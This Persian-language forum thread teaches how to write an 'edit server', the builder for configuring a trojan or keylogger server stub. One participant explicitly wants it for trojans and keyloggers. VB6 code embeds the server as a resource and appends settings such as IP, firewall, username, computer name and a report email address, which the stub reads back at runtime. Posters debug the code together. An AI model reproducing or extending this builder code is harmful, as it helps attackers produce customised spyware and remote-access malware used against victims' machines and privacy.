سلام
آموزش ساخت ادیت سرور رو می خواستم توی اینترنت خیلی سرچ کردم اما چیز بدرد بخوری نبود اگه میشه یه توضیحی بدید
ممنون
آره ایول منم گشتم هیچی نبود.اگه میشه ساخت ادیت سرور برای تروجان و کیلاگر باشه بهتره
با سلام به دوستان
من تصمیم دارم اولین پستم را اینجا بنویسم
اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه
پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی
که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری
تا من هر مطلبی خواستی در اختیارت بزارم
اگه میشه این ها رو توضیح بدید که چی کار میکنن
کد:
[size=medium]Edit Server[/size]:
On Local Error GoTo errTrap
Dim BeginP As Long
Dim Bag As New PropertyBag
Dim Temp As Variant
Dim mahmoud() As Byte
Dim er As String
With Bag
.WriteProperty "id", id.Text
.WriteProperty "force", force.Value
.WriteProperty "dial", dial.Value
.WriteProperty "user", user.Value
.WriteProperty "com", com.Value
.WriteProperty "fire", fire.Value
.WriteProperty "IP", ip.Value
.WriteProperty "image", preview.Image1.Picture
End With
Open App.Path + "\" + "serv.exe" For Binary As #2
mahmoud = LoadResData(101, "CUSTOM")
Put #2, , mahmoud()
Close #2
FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text
Open App.Path & "\" & SrvName.Text For Binary As #1
BeginP = LOF(1)
Temp = Bag.Contents
Seek #1, LOF(1)
Put #1, , Temp
Put #1, , BeginP
Close #1
Kill App.Path + "\" + "serv.exe"
Exit Sub
errTrap:
MsgBox Err.Description, vbCritical, "Error"
در اينجا تمام اطلاعات در يك Property Bag نوشته مي شود و بعد هم مي ره داخل سرور!
فقط بايد بدونيد كه من ابتدا ريسورس فايل سرور رو داخل اديت سرور قرار دادم. براي اين كارابتدا از قسمت Add-in Manager ، VB6 Resource Editor رو فغال كنيد .بعد رو كليك كنيد . حالا Add Custom Resource رو بزنيد و فايل سرور رو انتخاب كنيد.مي تونيد اسم اين ريسورس رو هم عوض كنيد البته من همون 101 رو به صورت پيشفرض انتخاب كردم.قسمتهايي هم كه در كد بالا خط كشيدم مربوط به لود كردن همين ريسورس و تبديل آن به فايل اجرايي است.
حالا كدهاي مربوط به سرور و نحوه ي خوندن اطلاعات رو بررسي مي كنيم.
کد:
[size=medium]Server[/size]:
On Local Error Resume Next
Dim BeginP As Long
Dim Temp As Variant
Dim bArr() As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Get #1, LOF(1) - 3, BeginP
Seek #1, BeginP
Get #1, , Temp
Arr = Temp
Bag.Contents = Arr
Bag.WriteProperty "LOF", LOF(1)
Bag.WriteProperty "BeginPos", BeginPos
Close #1
With Bag
ID.Caption = .ReadProperty("id")
FileNameInstall.Caption = .ReadProperty("filename")
Username.Value = .ReadProperty("user")
Computername.Value = .ReadProperty("com")
Firewall.Value = .ReadProperty("fire")
Rand.Enabled = .ReadProperty("rand")
End With
yeketaz نوشته است:با سلام به دوستان
من تصمیم دارم اولین پستم را اینجا بنویسم
اولا آموزش ساخت یک ادیت سرور یه کوچولو طولانیه
پس بهتره عمده ترین مشکلت رو توی ساخت یک ادیت سرور بنویسی
که مثلا توی تغییر آیکون یا ذخیره اطلاعات و یا ... مشکل داری
تا من هر مطلبی خواستی در اختیارت بزارم
سلام
من می خوام آدرس ایمیل سرور رو با ادیت سرور تغییر بدم همین
آقا محسن ممنون از توضیحاتت
آدرس ایمیل رو هم می تونی از طریق PropertyBag تغییر بدی یعنی اول توی اون بنویسی و سپس از توی سرور
ایمیل رو بخونی.
مثلا:
Dim Databag as new PropertyBag
Databag.writeproperty "Email",Text1.text
بعد هم کد درون سرور
("Email=Databag.ReadProperty ("Email
البته استفاده از این روش با اینکه کار رو بسیار راحت می کنه یه مشکل داره که احتمالا زیاد شنیدی و
می دونی که پس از پک شدن از کار میفته
می تونی از روش jps VM هم استفاده کنی مثل:
"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Put #1, , Text1.Text
Close #1
بعد هم از توی سرور می خونی :
Dim Email as string
"appc = App.Path + "\" + App.EXEName + ".exe
Open appc For Binary As 1
Seek #1, 20000
Get #1, , Email
Close #1
متغیر Email حوی آدرس ایمیل خواهد بود
البته این روش هم مشلات خوش را دارد و باید خیلی به مکانی ذخیره سازی اطلاعات که اینجا 20000 است دقت کنی
روش های دیگری هم اگر هست من بلد نیستم اگر کسی بلده بگه تا ما هم فیض ببریم
اگر کسی جای از کدها رو نفهمید بگه
(((((((((((((چون رکات علم آموزش آن آست)))))))))))))
سلام yeketaz از توضیحات ممنون
اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی
ممنون
mohsen_f نوشته است:اگه میشه یه مثال برام بزن ، یه آدرس ایمیل رو ادیت کنی
کد های ادیت سرور
نقل قول: Dim File() As Byte
Dim DataTemp As Variant
Dim BeginPos As Long
Dim DataBag As New PropertyBag
File() = LoadResData(101, "CUSTOM")
DataBag.WriteProperty "Email", Text1.Text
DataTemp = DataBag.Contents
Open App.Path + "\Server.exe" For Binary As 1
Put #1, , File()
Seek #1, LOF(1)
BeginPos = LOF(1)
Put #1, , DataTemp
Put #1, , BeginPos
Close #1
و کد های سرور:
نقل قول: Dim DataTemp As Variant
Dim Email As String
Dim BeginPos As Long
Dim ByteArr As Byte
Dim DataBag As New PropertyBag
Open App.Path + "\" + App.EXEName + ".exe" For Binary As 1
Get #1, LOF(1) - 3, BeginPos
Seek #1, BeginPos
Get #1, , DataTemp
ByteArr = DataTemp
DataBag.Contents = ByteArr
Close #1
Email = DataBag.ReadProperty("Email")
البته ممکن کد بهم ریخته باشه همه کدها را در ویژوال بیسیک کپی کن
درست می شه
سلام
این خط برنامت ارور میده نشد
کد:
Get #1, LOF(1) - 3, BeginPos
-----------------------------------------------------------------------------------
به نگاه به برنامه من بنداز ببین مشکلش کجاست؟
6 7 کلمه بیشتر نمشه وارد کرد ، و کلمه قبلی پاک نمیشه
دوست من این کد وقتی اجرا می شه که فایل توسط ادیت سرور ادیت و اطلاعات آخر اون نوشته شده باشه!!!!!!
پس همین طوری نمی تونی اونو اجرا کنی
و این خط خیلی مهمه چون محل ذخیره سازی اطلاعات رو می ده و اگر اشتباه بشه کل برنامه بر فناست
------------------------------------------------------------------------------------------------------------------
برنامه ات را هم برداشتم که ببینم مشکلش چیه
برنامه ات را دیدم فکر کنم می خوای اطلاعات Text1 رو توی فایل نوشته و سپس از اون بخونی
این دو تا برنامه (EditServer و Server)هیچ ربطی به هم ندارن
پس انتظار خوندن اطلاعات را هم نداشته باش
من خودم برات یه برنامه می نویسم با تمام توضیحات تا کاملا متوجه بشی